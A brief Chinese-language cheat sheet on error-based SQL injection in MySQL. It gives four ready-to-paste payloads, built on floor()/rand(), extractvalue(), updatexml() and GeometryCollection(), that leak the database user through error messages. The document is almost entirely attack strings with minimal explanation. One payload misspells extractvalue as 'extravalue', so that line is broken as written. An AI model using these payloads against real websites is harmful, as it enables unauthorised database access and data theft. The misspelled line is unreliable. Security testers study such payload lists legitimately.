利用数据库报错来显示数据的注入方式。
通常注入的sql语句一般是“select * from 表 where 参数=值”
①: floor()
注入语句:
id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)) x from information_schema.tables group by x)a)
②: extractvalue()
注入语句:
id=1 and (extravalue(1, concat(0x5c, (select user()))))
③: updatexml()
注入语句:
id=1 and (updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
④: GeometryCollection()
注入语句:
id=1 and GeometryCollection((select * from(select * from(select user())a)b))